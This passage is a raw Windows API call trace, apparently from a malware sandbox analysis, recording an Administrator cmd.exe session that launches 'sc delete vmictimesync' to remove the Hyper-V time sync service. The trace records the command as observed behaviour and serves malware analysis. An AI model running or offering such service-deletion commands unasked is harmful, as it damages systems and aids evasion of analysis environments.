dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="yeat\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="nat\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="ct\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.876] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="\n\nface\n") returned 1 [0063.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.877] GetFileType (hFile=0xb8) returned 0x3 [0063.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.877] GetFileType (hFile=0x120) returned 0x3 [0063.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmictimesync\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmictimesync\n", lpUsedDefaultChar=0x0) returned 24 [0063.877] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x17, lpOverlapped=0x0) returned 1 [0063.877] GetProcessHeap () returned 0x1b0000 [0063.877] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cfb10 [0063.877] GetProcessHeap () returned 0x1b0000 [0063.877] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0063.877] GetProcessHeap () returned 0x1b0000 [0063.877] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0063.877] GetProcessHeap () returned 0x1b0000 [0063.877] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0063.877] GetProcessHeap () returned 0x1b0000 [0063.877] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0063.878] GetConsoleOutputCP () returned 0x1b5 [0063.878] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.878] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.878] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.878] GetProcessHeap () returned 0x1b0000 [0063.878] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0063.878] GetProcessHeap () returned 0x1b0000 [0063.878] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa90 [0063.878] GetProcessHeap () returned 0x1b0000 [0063.878] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0063.878] SetErrorMode (uMode=0x0) returned 0x1 [0063.878] SetErrorMode (uMode=0x1) returned 0x0 [0063.878] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0063.878] SetErrorMode (uMode=0x1) returned 0x1 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0063.879] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.879] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0063.879] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0063.879] GetProcessHeap () returned 0x1b0000 [0063.879] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0063.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.879] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.880] GetLastError () returned 0x2 [0063.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.880] GetLastError () returned 0x2 [0063.880] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.880] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.880] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.880] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.880] GetLastError () returned 0x2 [0063.880] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.880] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.880] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0063.880] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0063.880] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.881] GetProcessHeap () returned 0x1b0000 [0063.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1cc630 [0063.881] GetConsoleTitleW (in: lpConsoleTitle=0x1cc640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.881] GetProcessHeap () returned 0x1b0000 [0063.881] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc630, Size=0xa6) returned 0x1cc630 [0063.881] GetProcessHeap () returned 0x1b0000 [0063.881] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc630) returned 0xa6 [0063.881] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmictimesync") returned 1 [0063.881] GetProcessHeap () returned 0x1b0000 [0063.881] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc630 | out: hHeap=0x1b0000) returned 1 [0063.881] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0063.881] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0063.881] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0063.881] GetProcessHeap () returned 0x1b0000 [0063.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0063.881] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0063.882] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0063.883] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.883] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.883] GetProcessHeap () returned 0x1b0000 [0063.883] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0063.883] GetProcessHeap () returned 0x1b0000 [0063.883] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c98a0 [0063.883] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmictimesync", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmictimesync", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmictimesync", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x848, dwThreadId=0x858)) returned 1 [0063.886] CloseHandle (hObject=0x50) returned 1 [0063.886] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.886] GetProcessHeap () returned 0x1b0000 [0063.886] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.886] GetEnvironmentStringsW () returned 0x1cba10* [0063.886] GetProcessHeap () returned 0x1b0000 [0063.886] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0063.888] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.888] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0063.888] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0063.888] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0063.949] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0063.949] CloseHandle (hObject=0x54) returned 1 [0063.949] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0063.949] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0063.949] GetProcessHeap () returned 0x1b0000 [0063.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0063.949] GetEnvironmentStringsW () returned 0x1cba10* [0063.950] GetProcessHeap () returned 0x1b0000 [0063.950] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0063.950] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.950] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.950] GetProcessHeap () returned 0x1b0000 [0063.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0063.950] GetEnvironmentStringsW () returned 0x1cba10* [0063.950] GetProcessHeap () returned 0x1b0000 [0063.950] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0063.950] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.950] GetProcessHeap () returned 0x1b0000 [0063.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0063.950] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0063.950] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.951] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.951] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0063.951] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.951] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0063.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.951] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0063.951] GetConsoleOutputCP () returned 0x1b5 [0063.951] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.951] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0063.952] GetProcessHeap () returned 0x1b0000 [0063.952] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0063.952] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0063.952] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.952] GetFileType (hFile=0x120) returned 0x3 [0063.952] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.952] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0063.953] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.953] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.953] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.953] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0063.953] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.953] GetFileType (hFile=0x120) returned 0x3 [0063.953] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.953] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0063.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.953] GetFileType (hFile=0xb8) returned 0x3 [0063.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmictimesync\n\nface\n") returned 1 [0063.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmictimesync\n\nface\n") returned 1 [0063.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmictimesync\n\nface\n") returned 1 [0063.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmictimesync\n\nface\n") 